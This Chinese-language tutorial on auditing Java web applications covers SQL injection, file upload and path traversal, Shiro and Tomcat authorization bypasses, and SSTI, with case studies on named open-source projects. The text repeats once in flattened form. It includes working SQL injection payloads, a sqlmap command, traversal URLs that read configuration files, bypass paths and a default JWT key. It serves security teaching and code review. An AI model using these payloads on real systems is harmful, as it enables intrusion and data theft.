Java安全:基础漏洞审计实战
字数 2816 2025-08-22 12:23:00

Java安全:基础漏洞审计实战教学文档

1. 项目结构分析

1.1 关键目录与文件

  • pom.xml:Maven项目配置文件,包含组件版本信息
  • src/main/resources/conf/:主配置目录(可能不存在)
    • *.properties:组件配置信息(MyBatis, Shiro, Log4j, Spring Boot等)
    • application.properties:Spring Boot主配置文件(数据库配置、启动路径、端口信息、日志配置)
  • src/main/resources/templates:模板文件目录
  • src/main/resources/mappers:MyBatis的XML文件,定义SQL语句
  • src/main/java/包名/
    • controller:处理HTTP请求
    • services:功能逻辑代码实现
    • model:定义处理数据类型
    • common:公共资源
      • formValid/:表单验证相关
      • Interceptor/:请求拦截器
  • src/main/webapp/WEB-INF/:Web配置
    • web.xml:Web应用主配置文件(定义Servlet、过滤器、监听器)

2. SQL注入漏洞审计

2.1 JDBC注入

危险代码特征

  • 字符串拼接:+号拼接
  • StringBuilder.append()
  • String.concat()
  • 搜索关键词:append(, concat(

2.2 MyBatis注入

安全与不安全写法

  • 安全写法:使用#{}(预编译参数)
  • 不安全写法:使用${}(直接拼接)
  • 搜索关键词:${

易产生注入的特殊场景

  1. 模糊查询LIKE语句
  2. ORDER BY排序
  3. IN子句
  4. HAVING子句

SQLMap特殊参数

sqlmap --level 5 --risk 3

报错注入Payload示例

1 and (SELECT updatexml(1, concat(0x7e,(SELECT database()),0x7e),1))
1 and updatexml(1, concat(0x7e,(database()),0x7e),1)
?orderColumn=1 AND EXTRACTVALUE(1040, CONCAT(0x5c, 0x7178766b71,(SELECT (ELT(1040=1040,1))),0x717a767871))

2.3 案例研究

案例1:jfinal_cms-4.5.0

  • 发现点:pom.xml显示未使用数据库框架,采用MySQL
  • 搜索append(发现多处SQL注入
  • 注入点:/admin/concat/路由对应的list方法
  • 前台查询功能存在注入

案例2:oa_system (MyBatis)

  • 发现点:pom.xml中的MyBatis框架
  • 不安全写法:${baseKey}${pinyin}
  • 触发路由:
    • /informListPaging(参数basekey
    • /outaddresspaging(参数alph

案例3:RuoYi-v4.6.0 (MyBatis)

  • 发现点:pom.xml中的MyBatis依赖
  • 不安全写法:${ancestors}
  • 功能点:部门编辑
  • 触发路由:/system/dept/edit(参数ancestors

3. 文件类漏洞审计

3.1 关键搜索点

文件操作相关代码

new FileInputStream(
new FileOutputStream(
new File(
FileUtils.
IOUtils.

文件上传相关代码

MultipartFile
file.getOriginalFilename(
file.transferTo(

文件下载相关代码

response.setContentType("application/octet-stream")
getFile
download

目录操作相关代码

.mkdirs(
.createNewFile(

优先搜索new FileInputStream(

3.2 案例研究

案例1:Inxedu - 文件上传

  • 上传JSPX绕过检测
  • 路由地址:POST /inxedu_war/image/gok4?fileType=jspx,jpg,gif,png,jpeg&param=temp

案例2:Tmall - 配合过滤器绕过

  • 绕过验证:URL包含/admin/login即通过,配合../绕过
  • 后台存在未过滤的文件上传功能

案例3:Ruoyi - 文件下载

  • 搜索点:FileInputStream(
  • 触发路由:/common/download/resource?resource=/profile/../RuoYi-v4.5.0/ruoyi-admin/src/main/resources/application.yml
  • 绕过要求:必须包含profile../绕过

案例4:Oasys - 文件读取

  • 搜索点:new FileInputStream(
  • 路径穿越限制:检测到2个../../会报错,但一个../可执行
  • 绕过技巧:嵌套../实现路径穿越
    ?path=/image/../image/../image/../image/../image/../image/../image/../image/../image/flag.txt
    

4. 未授权访问漏洞审计

4.1 鉴权方法

  1. Interceptor拦截器src/main/java/包名/interceptor
  2. Filter过滤器src/main/java/包名/filter
  3. Shiro框架src/main/resource/**

4.2 Shiro相关漏洞

Shiro版本自身漏洞绕过

  1. CVE-2020-1957

    • 客户端请求URL: /xxx/..;/admin/
    • Shiro校验URL为/xxxx/..,校验通过
    • SpringBoot最终请求/admin/
  2. CVE-2020-11989

    • 客户端请求URL: /;/test/admin/page
    • Shiro校验URL为/,校验通过
    • SpringBoot最终请求/admin/page
  3. CVE-2020-13933

    • 客户端请求URL: /admin/;page
    • Shiro校验URL为/admin/,校验通过
    • SpringBoot最终请求/admin/;page

Shiro配置不当

示例配置:

tumo.shiro.anon_url=/comment/**

可能导致:DELETE /comment/1任意文件删除

JWT默认密钥

常见默认密钥:

SecretKey012345678901234567890123456789012345678901234567890123456789

4.3 绕过手法

  1. 分号;处理

    • Tomcat会自动去除;后面的字符
    • 示例:
      /;a.png/admin == /admin
      /admin/;.png == /admin
      /admin/;.js == /admin
      /admin/;.css == /admin
      
  2. 斜杠/处理

    • Tomcat会自动处理多余的/
    • 示例:
      /////admin == /admin
      
  3. 路径穿越../

    • ../被禁用时,可使用/..;abc/实现跨目录
  4. 白名单绕过

    • 如果白名单匹配png/css/js结尾的文件放行:
      /admin/;.png == /admin
      /admin/;.js == /admin
      /a.js/../account/getAccount
      

4.4 案例研究

案例1:NewbeeMall

  • 使用Interceptor拦截器进行身份认证
  • 绕过方法:/admin/;.js

案例2:华夏ERP

  • 使用过滤器进行鉴权
  • 绕过条件:URL包含login.htmlregister.html即通过

案例3:Tumo

  • Shiro配置不当:
    tumo.shiro.anon_url=/login,/logout,/register,/,/about,/p/**,/links,/comment/**,/link/list,/article/list,/css/**,/js/**,/img/**
    
  • 可访问/comment及后面任意路径,如/comment/1,可能导致DELETE方法删除

5. SSTI模板注入

利用条件

  • 可控变量(传参、SQL注入结果等)

功能点

  • 模板管理

PoC参考

  • https://github.com/vladko312/SSTImap

6. JavaEE审计CheckList

参考资源

  1. https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw
  2. https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg
Java安全:基础漏洞审计实战教学文档 1. 项目结构分析 1.1 关键目录与文件 pom.xml :Maven项目配置文件,包含组件版本信息 src/main/resources/conf/ :主配置目录(可能不存在) *.properties :组件配置信息(MyBatis, Shiro, Log4j, Spring Boot等) application.properties :Spring Boot主配置文件(数据库配置、启动路径、端口信息、日志配置) src/main/resources/templates :模板文件目录 src/main/resources/mappers :MyBatis的XML文件,定义SQL语句 src/main/java/包名/ controller :处理HTTP请求 services :功能逻辑代码实现 model :定义处理数据类型 common :公共资源 formValid/ :表单验证相关 Interceptor/ :请求拦截器 src/main/webapp/WEB-INF/ :Web配置 web.xml :Web应用主配置文件(定义Servlet、过滤器、监听器) 2. SQL注入漏洞审计 2.1 JDBC注入 危险代码特征 : 字符串拼接: + 号拼接 StringBuilder.append() String.concat() 搜索关键词: append( , concat( 2.2 MyBatis注入 安全与不安全写法 : 安全写法:使用 #{} (预编译参数) 不安全写法:使用 ${} (直接拼接) 搜索关键词: ${ 易产生注入的特殊场景 : 模糊查询 LIKE 语句 ORDER BY 排序 IN 子句 HAVING 子句 SQLMap特殊参数 : 报错注入Payload示例 : 2.3 案例研究 案例1:jfinal_ cms-4.5.0 发现点: pom.xml 显示未使用数据库框架,采用MySQL 搜索 append( 发现多处SQL注入 注入点: /admin/concat/ 路由对应的 list 方法 前台查询功能存在注入 案例2:oa_ system (MyBatis) 发现点: pom.xml 中的MyBatis框架 不安全写法: ${baseKey} 和 ${pinyin} 触发路由: /informListPaging (参数 basekey ) /outaddresspaging (参数 alph ) 案例3:RuoYi-v4.6.0 (MyBatis) 发现点: pom.xml 中的MyBatis依赖 不安全写法: ${ancestors} 功能点:部门编辑 触发路由: /system/dept/edit (参数 ancestors ) 3. 文件类漏洞审计 3.1 关键搜索点 文件操作相关代码 : 文件上传相关代码 : 文件下载相关代码 : 目录操作相关代码 : 优先搜索 : new FileInputStream( 3.2 案例研究 案例1:Inxedu - 文件上传 上传JSPX绕过检测 路由地址: POST /inxedu_war/image/gok4?fileType=jspx,jpg,gif,png,jpeg&param=temp 案例2:Tmall - 配合过滤器绕过 绕过验证:URL包含 /admin/login 即通过,配合 ../ 绕过 后台存在未过滤的文件上传功能 案例3:Ruoyi - 文件下载 搜索点: FileInputStream( 触发路由: /common/download/resource?resource=/profile/../RuoYi-v4.5.0/ruoyi-admin/src/main/resources/application.yml 绕过要求:必须包含 profile 再 ../ 绕过 案例4:Oasys - 文件读取 搜索点: new FileInputStream( 路径穿越限制:检测到2个 ../../ 会报错,但一个 ../ 可执行 绕过技巧:嵌套 ../ 实现路径穿越 4. 未授权访问漏洞审计 4.1 鉴权方法 Interceptor拦截器 : src/main/java/包名/interceptor Filter过滤器 : src/main/java/包名/filter Shiro框架 : src/main/resource/** 4.2 Shiro相关漏洞 Shiro版本自身漏洞绕过 CVE-2020-1957 : 客户端请求URL: /xxx/..;/admin/ Shiro校验URL为 /xxxx/.. ,校验通过 SpringBoot最终请求 /admin/ CVE-2020-11989 : 客户端请求URL: /;/test/admin/page Shiro校验URL为 / ,校验通过 SpringBoot最终请求 /admin/page CVE-2020-13933 : 客户端请求URL: /admin/;page Shiro校验URL为 /admin/ ,校验通过 SpringBoot最终请求 /admin/;page Shiro配置不当 示例配置: 可能导致: DELETE /comment/1 任意文件删除 JWT默认密钥 常见默认密钥: 4.3 绕过手法 分号 ; 处理 : Tomcat会自动去除 ; 后面的字符 示例: 斜杠 / 处理 : Tomcat会自动处理多余的 / 示例: 路径穿越 ../ : 当 ../ 被禁用时,可使用 /..;abc/ 实现跨目录 白名单绕过 : 如果白名单匹配 png/css/js 结尾的文件放行: 4.4 案例研究 案例1:NewbeeMall 使用Interceptor拦截器进行身份认证 绕过方法: /admin/;.js 案例2:华夏ERP 使用过滤器进行鉴权 绕过条件:URL包含 login.html 或 register.html 即通过 案例3:Tumo Shiro配置不当: 可访问 /comment 及后面任意路径,如 /comment/1 ,可能导致DELETE方法删除 5. SSTI模板注入 利用条件 : 可控变量(传参、SQL注入结果等) 功能点 : 模板管理 PoC参考 : https://github.com/vladko312/SSTImap 6. JavaEE审计CheckList 参考资源 : https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg